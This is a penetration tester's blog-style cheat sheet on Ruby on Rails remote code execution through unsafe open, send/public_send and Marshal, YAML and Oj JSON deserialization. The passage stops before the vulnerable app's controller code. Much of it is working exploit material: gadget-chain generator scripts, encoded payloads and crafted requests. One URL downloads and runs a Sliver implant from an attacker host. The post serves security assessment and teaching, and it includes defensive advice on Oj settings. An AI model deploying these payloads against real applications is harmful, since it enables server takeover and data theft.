Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations
On a recent assessment, I tested a Ruby on Rails application that was vulnerable to three of the most common types of Ruby-specific remote code execution (RCE) vulnerabilities. Brakeman will typically detect all of these, but I always like to include working exploit code to give clients a visceral example of the severity of a given problem. I was able to find some examples of exploiting the most straightforward issue (insecure use of the built-in open function) but had to piece together my own for the rest. Here are the results as a cheat sheet/walkthrough to save you the trouble of doing the same thing.
I also put together a very basic Ruby on Rails application that's vulnerable to all of the attacks discussed in this post, making it easier to try out different variations on the same type of attacks. There are instructions at the end of the post for setting up an instance.
RCE via the Kernel-level Open Function
This is the most straightforward Ruby-specific RCE vulnerability this blog post will discuss. If the built-in Ruby open function is called with user-supplied input in a Rails request handler, like this:
open(params[:path_or_url])
...then that request handler is vulnerable to arbitrary OS command execution, simply by the attacker setting the first character of the input to a pipe character (|)
. In the example, it can be exploited by accessing a URL such as:
http://127.0.0.1:3000/?url=|date%3E%3E/tmp/rce1.txt
…which will execute the proof-of-concept shell command date >> /tmp/rce1.txt
, or:
http://127.0.0.1:3000/?url=|wget%20https://sliver-server.attacker.domain/sliver%3b%20chmod%20+x%20sliver%3b%20./sliver
…which simulates downloading and executing a Sliver implant.
In the remainder of this post, the example shell commands are variations on date
>> /tmp/rce1.txt
. This is one of my go-tos for exploit development because it's harmless and gives me a log of every time the exploit was successful, not just the most recent (like touch /tmp/rce1.txt
would).
RCE via Insecure Send
Ruby objects have a pair of interesting shorthand functions named send and public_send
that accept a method name as a string, and then a variable number of arguments that should be passed to the method identified by the first argument. Ruby developers can use them to make certain parts of their code more flexible. For example, the following code can be used to pass the same input to three different functions within a custom class:
class TextPrinter < Object def echo(*args) puts "Arguments: " + args.join(', ') end def echo_uppercase(*args) puts "Arguments: " + args.join(', ').upcase end def echo_lowercase(*args)</p> puts "Arguments: " + args.join(', ').downcase end end method_names = ["echo", "echo_uppercase", "echo_lowercase"] tprinter = TextPrinter.new() for mn in method_names do tprinter.send(mn, "a", "b", "c", "A", "B", "C") end
Because the functions are identified by strings, not symbols, the method(s) to call can even be specified in user-supplied input. That level of flexibility can help decouple application components maintained by different teams (such as the front-end and back-end of a web application), but it can also very easily make the code vulnerable to arbitrary command execution via malicious input. Just about any language that supports reflection can do the same thing, but Ruby puts the feature front and center, encouraging widespread use.
The canonical insecure use of send is reading an arbitrary method name from user input and passing it a string value that is also read from user input. That behavior can be tested in the example vulnerable application with URLs like the following:
http://127.0.0.1:3000/?send_method_name=eval&send_argument=`date>>/tmp/rce5.txt`
During the assessment that inspired this post, a few code paths made use of Ruby's "splat" operator instead of passing a distinct method name and argument(s), similar to this code:
@send_article.send(*params[:send_value])
Ordinarily, the send_value
URL parameter might simply be a method name, but the "splat" operator meant that if the parameter were an array of values, it would be unpacked and sent as a series of arguments to the send method. Ruby is extremely flexible at parsing different types of data from URL parameters, so that condition could be created with URLs such as the following:
http://127.0.0.1:3000/?send_value[]=eval&send_value[]=`date>>/tmp/rce6.txt`
Ruby objects also inherit a method named public_send
that can only refer to public methods of the object, whereas send can refer to private methods. One would think this would be at least somewhat safer, but as Yuji Yamamoto illustrated in 2016, public_send
is just as dangerous in practice as send.
Specifically, while the eval
function is not public for Ruby objects, they expose a functionally equivalent method named instance_eval
. Consequently, the two-parameter variation can be exploited in the example application with URLs similar to this:
http://127.0.0.1:3000/?public_send_method_name=instance_eval&public_send_argument=`date%3E%3E/tmp/rce7.txt`
...and the "splat" variation on the code can be exploited like this:
http://127.0.0.1:3000/?public_send_value[]=instance_eval&public_send_value[]=`date>>/tmp/rce8.txt`
RCE via Binary Deserialization
Way back in 2013, Hailey Somerville described an end-to-end binary deserialization gadget chain for Ruby on Rails. In 2018, Luke Jahnke described a newer gadget chain that worked for all releases of Ruby 2.x at the time the article was published. Ruby 2.7 and later were patched in a way that broke Jahnke's gadget chain, but William Bowling, AKA vakzz, modified it to work on all releases of Ruby 2 and 3 in 2021, and provided a Ruby script to generate a binary serialization of the gadget chain. Bowling's gadget chain was broken by changes introduced in RubyGems v3.2.25 (30 July 2021) and Ruby 3.1.1 (18 February 2022), but my test system and the client's server were still running vulnerable versions of both components even in March 2022.,
In my testing of Bowling's gadget chain, the basic payload worked as-is in a standalone Ruby script, but not when processed by a Ruby on Rails web application. For the web application, I had to wrap the payload inside of a hash table. To replicate that approach, you can use this modified version of Bowling's script to generate a base64-encoded payload:
# Original code by William Bowling, AKA vakzz # Mostly based on https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html # Autoload the required classes Gem::SpecFetcher Gem::Installer require "base64" # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "date >> /tmp/rce9b.txt") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump({payload: [Gem::SpecFetcher, Gem::Installer, r]}) puts Base64.strict_encode64(payload)
The corresponding Ruby code that is vulnerable to the a base64-encoded binary deserialization attack generally looks something like this:
Marshal.load(Base64.decode64(params[:base64binary]))
You can use the output to exploit the example vulnerable application running under Ruby installations that haven't been updated to include the patch. This request should write the current date/time to /tmp/rce9b.txt
:
http://127.0.0.1:3000/?base64binary=BAh7BjoMcGF5bG9hZFsIYxVHZW06OlNwZWNGZXRjaGVyYxNHZW06Okluc3RhbGxlclU6FUdlbTo6UmVxdWlyZW1lbnRbBm86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpADoMQGhlYWRlckkiCGFhYQY6BkVUOhJAZGVidWdfb3V0cHV0bzoWTmV0OjpXcml0ZUFkYXB0ZXIHOgxAc29ja2V0bzoUR2VtOjpSZXF1ZXN0U2V0BzoKQHNldHNvOw8HOxBtC0tlcm5lbDoPQG1ldGhvZF9pZDoLc3lzdGVtOg1AZ2l0X3NldEkiG2RhdGUgPj4gL3RtcC9yY2U5Yi50eHQGOw1UOxM6DHJlc29sdmU%3d
On 28 March, 2022, just as I was working on this post, Harsh Jaiswal, AKA rootxharsh, and Rahul Maini, AKA iamnoooob, published an updated gadget chain that works even with Ruby 3.1.1. I had to modify it a bit to work on Ruby 2.7.5, and the gadget chain needs to be modified if representing it in YAML or JSON form, because the step based on the ActiveRecord::Associations::Association
class only works for binary deserialization specifically. We'll discuss making YAML and JSON versions further below.
Start by using this modified version of Jaiswal and Maini's script:
# original code by Harsh Jaiswal, AKA rootxharsh and Rahul Maini, AKA iamnoooob # Mostly based on: # https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md require 'rails/all' require 'base64' # following three lines added for older versions of Ruby on Rails: require 'rack/response' require 'active_record/associations' require 'active_record/associations/association' require "yaml" Gem::SpecFetcher Gem::Installer require 'sprockets' class Gem::Package::TarReader end require 'bundler/inline' gemfile do source 'https://rubygems.org' gem 'oj', require: true end d = Rack::Response.allocate d.instance_variable_set(:@buffered, false) d0=Rails::Initializable::Initializer.allocate d0.instance_variable_set(:@context,Sprockets::Context.allocate) d1=Gem::Security::Policy.allocate # Can't use angle brackets in the command below or it will result in a dump format error(0xc3) ArgumentException # Similar problem for + signs in some Ruby versions # So the code below dynamically builds the string 'date >> /tmp/rce9a.txt' d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "<%= os_command = 'date '; os_command.concat(62.chr); os_command.concat(62.chr); os_command.concat('/tmp/rce9a.txt'); system(os_command); %>", :metadata => {}}) d2=Set.new([d1]) d.instance_variable_set(:@body, d2) d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate) c=Logger.allocate c.instance_variable_set(:@logdev, d) e=Gem::Package::TarReader::Entry.allocate e.instance_variable_set(:@read,2) e.instance_variable_set(:@header,"bbbb") b=Net::BufferedIO.allocate b.instance_variable_set(:@io,e) b.instance_variable_set(:@debug_output,c) $a=Gem::Package::TarReader.allocate $a.instance_variable_set(:@init_pos,Gem::SpecFetcher.allocate) $a.instance_variable_set(:@io,b) module ActiveRecord module Associations class Association def marshal_dump # Gem::Installer instance is also set here # because it autoloads Gem::Package which is # required in rest of the chain [Gem::Installer.allocate, $a] end end end end # binary form final = ActiveRecord::Associations::Association.allocate puts Base64.strict_encode64(Marshal.dump(final))
It should output something like the following:
BAhVOixBY3RpdmVSZWNvcmQ6OkFzc29jaWF0aW9uczo6QXNzb2NpYXRpb25bB286E0dlbTo6SW5zdGFsbGVyAG86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpBzoMQGhlYWRlckkiCWJiYmIGOgZFVDoSQGRlYnVnX291dHB1dG86C0xvZ2dlcgY6DEBsb2dkZXZvOhNSYWNrOjpSZXNwb25zZQg6DkBidWZmZXJlZEY6CkBib2R5bzoIU2V0BjoKQGhhc2h9Bm86GkdlbTo6U2VjdXJpdHk6OlBvbGljeQY6CkBuYW1lewk6DWZpbGVuYW1lSSIRL3RtcC94eXoudHh0BjsNVDoQZW52aXJvbm1lbnRvOiZSYWlsczo6SW5pdGlhbGl6YWJsZTo6SW5pdGlhbGl6ZXIGOg1AY29udGV4dG86F1Nwcm9ja2V0czo6Q29udGV4dAA6CWRhdGFJIkE8JT0gc3lzdGVtKCdkYXRlICcgKyA2Mi5jaHIgKyA2Mi5jaHIgKyAnIC90bXAvcmNlOWEudHh0JykgJT4GOw1UOg1tZXRhZGF0YXsAVEY6DEB3cml0ZXJvOhxTcHJvY2tldHM6OkVSQlByb2Nlc3NvcgA=
You can test it against the example vulnerable web application using URLs like this, which should write the current date/time to /tmp/rce9a.txt
:
http://10.1.10.161:3000/?base64binary=BAhVOixBY3RpdmVSZWNvcmQ6OkFzc29jaWF0aW9uczo6QXNzb2NpYXRpb25bB286E0dlbTo6SW5zdGFsbGVyAG86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpBzoMQGhlYWRlckkiCWJiYmIGOgZFVDoSQGRlYnVnX291dHB1dG86C0xvZ2dlcgY6DEBsb2dkZXZvOhNSYWNrOjpSZXNwb25zZQg6DkBidWZmZXJlZEY6CkBib2R5bzoIU2V0BjoKQGhhc2h9Bm86GkdlbTo6U2VjdXJpdHk6OlBvbGljeQY6CkBuYW1lewk6DWZpbGVuYW1lSSIRL3RtcC94eXoudHh0BjsNVDoQZW52aXJvbm1lbnRvOiZSYWlsczo6SW5pdGlhbGl6YWJsZTo6SW5pdGlhbGl6ZXIGOg1AY29udGV4dG86F1Nwcm9ja2V0czo6Q29udGV4dAA6CWRhdGFJIkE8JT0gc3lzdGVtKCdkYXRlICcgKyA2Mi5jaHIgKyA2Mi5jaHIgKyAnIC90bXAvcmNlOWEudHh0JykgJT4GOw1UOg1tZXRhZGF0YXsAVEY6DEB3cml0ZXJvOhxTcHJvY2tldHM6OkVSQlByb2Nlc3NvcgA%3d
Regardless of whether you use Bowling's chain, Maini and Jaiswal's chain, or another one, Ruby's binary serialization format can be incompatible across versions, so if you're trying to exploit binary deserialization and it isn't working as expected on the live target, make sure you're generating the payload with the same version of Ruby that the web app is running under.
RCE via YAML Deserialization
In 2019, Etienne Stalmans did a nice writeup of converting Luke Jahnke's original gadget chain to YAML format. In that case, manual tweaking of the YAML was required. However, Bowling's more recent gadget chain can be serialized in YAML format by simply calling the YAML.dump() method. Start by adding this line to the beginning of the script:
require "yaml"
Change the last two lines to this:
payload = YAML.dump({payload: [Gem::SpecFetcher, Gem::Installer, r]}) puts payload
The script will create the following output:
:payload: - !ruby/class 'Gem::SpecFetcher' - !ruby/class 'Gem::Installer' - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: !ruby/object:Net::BufferedIO io: !ruby/object:Gem::Package::TarReader::Entry read: 0 header: aaa debug_output: !ruby/object:Net::WriteAdapter socket: !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: date >> /tmp/rce9b.txt method_id: :resolve
Because YAML is reasonably stable and human-readable, you can just edit this example as a template instead of needing to generate it every time with a script. The payload would be kind of messy to pass as a URL parameter to the vulnerable application, so I suggest a POST request, like this:
POST / HTTP/1.1 Host: 127.0.0.1:3000 ...omitted for brevity... Content-Type: application/json Content-Length: 596 {"yaml":":payload:\n- !ruby/class 'Gem::SpecFetcher'\n- !ruby/class 'Gem::Installer'\n- !ruby/object:Gem::Requirement\n requirements: !ruby/object:Gem::Package::TarReader\n io: !ruby/object:Net::BufferedIO\n io: !ruby/object:Gem::Package::TarReader::Entry\n read: 0\n header: aaa\n debug_output: !ruby/object:Net::WriteAdapter\n socket: !ruby/object:Gem::RequestSet\n sets: !ruby/object:Net::WriteAdapter\n socket: !ruby/module 'Kernel'\n method_id: :system\n git_set: date >> /tmp/rce2.txt\n method_id: :resolve"}
As discussed above, the binary version of Bowling's gadget chain was broken by changes introduced in RubyGems v3.2.25 and Ruby 3.1.1, but you might assume (as I did) that one can just YAML-serialize Jaiswal and Maini's newer gadget chain and be ready to go against newer Ruby on Rails applications. Unfortunately, the logic in the ActiveRecord::Associations::Association
class only works as a deserialization gadget when deserializing from binary data via the marshal_load
function, because that's the only place that the .each method is called against the second element of the data being deserialized.
However, as luck would have it, the RubyGems patch to the Gem::Requirement
class only fixes the binary deserialization variant specifically. Its YAML parsing is still vulnerable as of this writing. So to make Maini and Jaiswal's chain work in YAML, one can simply swap out the ActiveRecord::Associations::Association
object for a Gem::Requirement like Bowling's chain used.
There's an additional quirk I discovered when looking into YAML and JSON serialization in that if the gadget chain depends on the each
method being called (as is the case with the Gem::Package::TarReader gadget
), YAML- or JSON-serialized payloads may not trigger if they're just stored as a value, but are triggered if they're stored as the key in a hashtable. In the case of this gadget chain, this seems to be because using the Gem::Requirement
object as a hashtable key results in this chain of events:
- The Ruby interpreter calls the hash method on the Requirement object.
- The Requirement object has a customized hash method that calls the map method of its requirements variable. Internally, Ruby's map method seems to call each.
- In this gadget chain, the requirements variable has been set to an instance of the
Gem::Package::TarReader
class, and that class has the custom each method that is the entire reason theTarReader
is included in the gadget chain. When it's invoked by the hashing process, the rest of the chain is triggered.
For this one, using a combination of script-assisted generation and manual crafting, a template based on that principle looks like this:
--- :payload: - !ruby/object:Gem::SpecFetcher {} - !ruby/object:Gem::Installer {} - ? !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: !ruby/object:Net::BufferedIO io: !ruby/object:Gem::Package::TarReader::Entry read: 2 header: bbbb debug_output: !ruby/object:Logger logdev: !ruby/object:Rack::Response buffered: false body: !ruby/object:Set hash: ? !ruby/object:Gem::Security::Policy name: :filename: "/tmp/xyz.txt" :environment: !ruby/object:Rails::Initializable::Initializer context: !ruby/object:Sprockets::Context {} :data: "<%= os_command = 'date '; os_command.concat(62.chr); os_command.concat(62.chr); os_command.concat('/tmp/rce9a.txt'); system(os_command); %>" :metadata: {} : true writer: !ruby/object:Sprockets::ERBProcessor {} : dummy_value
Embedded into a POST request to the example web application, the YAML code looks like this:
POST / HTTP/1.1 …omitted for brevity… Content-Type: application/json Content-Length: 1095 {"yaml": "---\n:payload:\n- !ruby/object:Gem::SpecFetcher {}\n- !ruby/object:Gem::Installer {}\n- ? !ruby/object:Gem::Requirement\n requirements: !ruby/object:Gem::Package::TarReader\n io: !ruby/object:Net::BufferedIO\n io: !ruby/object:Gem::Package::TarReader::Entry\n read: 2\n header: bbbb\n debug_output: !ruby/object:Logger\n logdev: !ruby/object:Rack::Response\n buffered: false\n body: !ruby/object:Set\n hash:\n ? !ruby/object:Gem::Security::Policy\n name:\n :filename: \"/tmp/xyz.txt\"\n :environment: !ruby/object:Rails::Initializable::Initializer\n context: !ruby/object:Sprockets::Context {}\n :data: \"<%= os_command = 'date '; os_command.concat(62.chr); os_command.concat(62.chr); os_command.concat('/tmp/rce9a.txt'); system(os_command); %>\"\n :metadata: {}\n : true\n writer: !ruby/object:Sprockets::ERBProcessor {}\n : dummy_value" }
This YAML payload worked for me with no changes under both Ruby 2.7.5-p203/Rails 5.2.5 and Ruby 3.1.1p18/Rails 7.0.2.3.
RCE via Oj JSON Deserialization
During the assessment that inspired this post, the client's application used JSON object serialization handled by the Oj gem. Unlike the built-in JSON functionality of Ruby, OJ supports serializing and deserializing arbitrary complex objects, and in its default configuration is therefore vulnerable to a JSON representation of Bowling's gadget chain. So, when you see code like the following, there’s a good chance that it’s vulnerable to this type of attack:
Oj.load(params[:json])
Similar to the YAML payload in the previous section, the basic Bowling payload can be initially generated by adding this snippet to the beginning of the script:
require 'bundler/inline' gemfile do source 'https://rubygems.org' gem 'oj', require: true end
...and then changing the last two lines of the script to this:
payload = Oj.dump([Gem::SpecFetcher, Gem::Installer, r]) puts payload
This should output the following JSON, which is specific to the Oj gem's serialization format:
[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":system"},"git_set":"date >> /tmp/rce10a.txt"},"method_id":":resolve"}}}}]
...or, pretty-printed:
[ { "^c": "Gem::SpecFetcher" }, { "^c": "Gem::Installer" }, { "^o": "Gem::Requirement", "requirements": { "^o": "Gem::Package::TarReader", "io": { "^o": "Net::BufferedIO", "io": { "^o": "Gem::Package::TarReader::Entry", "read": 0, "header": "aaa" }, "debug_output": { "^o": "Net::WriteAdapter", "socket": { "^o": "Gem::RequestSet", "sets": { "^o": "Net::WriteAdapter", "socket": { "^c": "Kernel" }, "method_id": ":system" }, "git_set": "date >> /tmp/rce10a.txt" }, "method_id": ":resolve" } } } } ]
...however, as discussed in the YAML section, above, for the payload to execute, I had to use the payload as the key in a hashtable. I did not find a way to generate the payload and embed it as the key in a single script, so I modified the script to generate a different hashtable with one of the other existing objects as a key to understand how Oj would represent it:
@inner_payload = {} @inner_payload[i] = "dummy_value" payload = Oj.dump(@inner_payload) puts payload
The output for this intermediate example was the following:
{"^#1":[{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"dummy_value"]}
In this case, {"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"}
was the representation of the i object
. Replacing that chunk of JSON with the original payload results in something like this:
{ "^#1": [ [ { "^c": "Gem::SpecFetcher" }, { "^c": "Gem::Installer" }, { "^o": "Gem::Requirement", "requirements": { "^o": "Gem::Package::TarReader", "io": { "^o": "Net::BufferedIO", "io": { "^o": "Gem::Package::TarReader::Entry", "read": 0, "header": "aaa" }, "debug_output": { "^o": "Net::WriteAdapter", "socket": { "^o": "Gem::RequestSet", "sets": { "^o": "Net::WriteAdapter", "socket": { "^c": "Kernel" }, "method_id": ":system" }, "git_set": "date >> /tmp/rce10a.txt" }, "method_id": ":resolve" } } } } ], "dummy_value" ] }
...or, in more compact form:
{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"date >> /tmp/rce10a.txt"},"method_id":":resolve"}}}}],"dummy_value"]}
The example vulnerable Ruby on Rails app will accept the payload as either a GET request like this:
http://127.0.0.1:3000/?oj={%22^%231%22%3a[[{%22^c%22%3a%22Gem%3a%3aSpecFetcher%22}%2c{%22^c%22%3a%22Gem%3a%3aInstaller%22}%2c{%22^o%22%3a%22Gem%3a%3aRequirement%22%2c%22requirements%22%3a{%22^o%22%3a%22Gem%3a%3aPackage%3a%3aTarReader%22%2c%22io%22%3a{%22^o%22%3a%22Net%3a%3aBufferedIO%22%2c%22io%22%3a{%22^o%22%3a%22Gem%3a%3aPackage%3a%3aTarReader%3a%3aEntry%22%2c%22read%22%3a0%2c%22header%22%3a%22aaa%22}%2c%22debug_output%22%3a{%22^o%22%3a%22Net%3a%3aWriteAdapter%22%2c%22socket%22%3a{%22^o%22%3a%22Gem%3a%3aRequestSet%22%2c%22sets%22%3a{%22^o%22%3a%22Net%3a%3aWriteAdapter%22%2c%22socket%22%3a{%22^c%22%3a%22Kernel%22}%2c%22method_id%22%3a%22%3aspawn%22}%2c%22git_set%22%3a%22date%20%3E%3E%20%2ftmp%2frce10a.txt%22}%2c%22method_id%22%3a%22%3aresolve%22}}}}]%2c%22dummy_value%22]}
...or a POST request, like this:
POST / HTTP/1.1 Host: 127.0.0.1:3000 ...omitted for brevity... Content-Type: application/json Content-Length: 557 {"oj":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^c\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":0,\"header\":\"aaa\"},\"debug_output\":{\"^o\":\"Net::WriteAdapter\",\"socket\":{\"^o\":\"Gem::RequestSet\",\"sets\":{\"^o\":\"Net::WriteAdapter\",\"socket\":{\"^c\":\"Kernel\"},\"method_id\":\":spawn\"},\"git_set\":\"date >> /tmp/rce10a.txt\"},\"method_id\":\":resolve\"}}}}],\"dummy_value\"]}"}
The modified version of Maini and Jaiswal's gadget chain discussed above in the YAML section works fine in Oj JSON format as well, under both Ruby 2.7.5-p203/Rails 5.2.5 and Ruby 3.1.1p18/Rails 7.0.2.3. Pretty-printed, it looks like this:
{ "^#1": [ [ { "^c": "Gem::SpecFetcher" }, { "^o": "Gem::Installer" }, { "^o": "Gem::Requirement", "requirements": { "^o": "Gem::Package::TarReader", "io": { "^o": "Net::BufferedIO", "io": { "^o": "Gem::Package::TarReader::Entry", "read": 2, "header": "bbbb" }, "debug_output": { "^o": "Logger", "logdev": { "^o": "Rack::Response", "buffered": false, "body": { "^o": "Set", "hash": { "^#2": [ { "^o": "Gem::Security::Policy", "name": { ":filename": "/tmp/xyz.txt", ":environment": { "^o": "Rails::Initializable::Initializer", "context": { "^o": "Sprockets::Context" } }, ":data": "<%= system('touch /tmp/rce10b.txt') %>", ":metadata": {} } }, true ] } }, "writer": { "^o": "Sprockets::ERBProcessor" } } } } } } ], "dummy_value" ] }
In compact form:
{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^o":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":2,"header":"bbbb"},"debug_output":{"^o":"Logger","logdev":{"^o":"Rack::Response","buffered":false,"body":{"^o":"Set","hash":{"^#2":[{"^o":"Gem::Security::Policy","name":{":filename":"/tmp/xyz.txt",":environment":{"^o":"Rails::Initializable::Initializer","context":{"^o":"Sprockets::Context"}},":data":"<%= system('touch /tmp/rce10b.txt') %>",":metadata":{}}},true]}},"writer":{"^o":"Sprockets::ERBProcessor"}}}}}}],"dummy_value"]}
It's easiest to send as a POST request to the example application, like this:
POST / HTTP/1.1 Host: 127.0.0.1:3000 ...omitted for brevity... Content-Type: application/json Content-Length: 748 {"oj":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('touch /tmp/rce10b.txt') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}
Oj and Global Configuration
There's an interesting wrinkle with Oj: it can be configured to support more limited JSON serialization formats that do not allow for complex objects to be represented sufficiently to allow RCE via this gadget chain. As of this writing, Oj supported the following modes: compat, custom, json, null, object, rails, strict,
and wab
; only the object
mode (the default) was vulnerable. In the source code for Oj at the time of this writing, the strict
and null
modes were equivalent, and the compat
and rails
modes were also equivalent. The example web application allows an oj_mode
variable to be passed that sets the Oj mode explicitly, i.e. by adding &oj_mode=compat
, &oj_mode=custom
, &oj_mode=json
, &oj_mode=null
, &oj_mode=object
, &oj_mode=rails
, &oj_mode=strict
, or &oj_mode=wab
to the URL.
Oj options can be included in each call to load/dump, like this:
Oj.load(params[:oj], options = {:mode => :object})
...but the library also exposes a global default option configuration that is shared by all Oj code running under the same Ruby or Rails process, referred to like this:
Oj.default_options = { :mode => :object }
Most developers seem to call Oj's load and dump without specifying an explicit options hashtable, which causes Oj to use that global default value.
During the assessment that inspired this blog post, I had replicated the Oj deserialization calls in a local web application to develop exploit code. My payload worked perfectly locally but was ineffective against the real-web application. I searched through the entire set of source code for something that might be changing the Oj configuration and found nothing. I verified that the versions for Gems I was using were all identical to the real server. The customer indicated that they were unaware of any code they'd written that would reconfigure Oj. I had already gotten a shell on the live server by exploiting one of the send-related vulnerabilities, so I used that to run a grep command across the entire directory structure and came across something like this:
/home/rails/apps/people_finder/vendor/bundle/ruby/2.7.0/gems/rabl-0.14.5/lib/rabl/configuration.rb:22: Oj.default_options = { :mode => :compat, :time_format => :ruby, :use_to_json => true }
The code I was trying to exploit didn't even use the rabl Gem, but could merely having it loaded cause that code to be executed? I added the following line to the Gemfile for my local web app to find out:
gem 'rabl', '0.14.5'
After restarting my local Rails process, my code was no longer vulnerable. I commented out the rabl
entry in my Gemfile, restarted Rails again, and the code was vulnerable once more. The customer's application would have had a serious code execution vulnerability, but it was being inadvertently protected by their use of an unrelated Gem in another part of the same web application. I was not surprised to find that this behavior was already the subject of an open issue on GitHub for rabl
. If the rabl
developers released an update that stopped changing that global default, any web application that is currently inadvertently protected from deserialization attacks would become vulnerable. Even discounting the security aspect, as a former systems engineer, I'm blown away that the authors of a third-party Ruby Gem would write code that modifies the global configuration of a completely separate third-party Gem but also that the Oj gem even exposes its configuration this way. I have to imagine that it's caused all sorts of mysterious issues in Ruby and Rails applications.
If you maintain code that uses Oj, I strongly recommend finding all uses of the load() or dump() functions and explicitly passing your own options hash to them as a defensive measure, using one of the modes other than object.
General Notes on Executing OS Commands via Ruby Code
If you can execute arbitrary Ruby code, as opposed to injecting OS commands directly (all of the examples in this post except the first), there are a few different built-in options:
- Call the
spawn
function. I like this one because it doesn't wait for the shell process to exit, so it may have a less visible impact on the vulnerable application. - Call the
system
function. This is fine too, although it may cause the web application to lock up until the shell process exits. - Wrap the OS command in backticks. This is nearly equivalent to the
system
function. It works fine if your injected code is being run viaeval
orinstance_eval
, but not if you need to call a function explicitly and pass it the command to execute as a string. - Call the
exec
function. This will work, but I avoid it unless there's no other option because it will replace the existing Ruby or Rails process with the shell command process. i.e., if a vulnerable web application is not configured to automatically restart, injecting an exec call will take down the service.
The first three approaches are mixed into the examples in this post.
Creating the Vulnerable Application
These steps should work with just about any version of Ruby on Rails. I tested it myself with Ruby 2.7.5-p203/Rails 5.2.5 and Ruby 3.1.1p18/Rails 7.0.2.3. If you are using version 4.0 or later of the psych gem, which was the default for me under Ruby 3.1.1p18/Rails 7.0.2.3 but not Ruby 2.7.5-p203/Rails 5.2.5, you'll need to change one line of code in app/controllers/articles_controller.rb
as psych 4.0 and later alias the load method to safe_load
.
Follow the steps in the Ruby on Rails getting started guide up to and including 3.1. The remaining steps below replace everything from 3.2 onward.
Perform the following steps:
1. cd into a convenient working directory, then run the following commands:
rails new vulnerable_rails_app cd vulnerable_rails_app
2. Replace the content of config/routes.rb
with the following:
Rails.application.routes.draw do root "articles#index" post "/", to: "articles#index" end
3. Run the following commands:
bin/rails generate controller Articles index --skip-routes bin/rails generate model Article param1:string param2:text bin/rails db:migrate RAILS_ENV=development
4.Replace the content of app/controllers/articles_controller.rb
with the following:
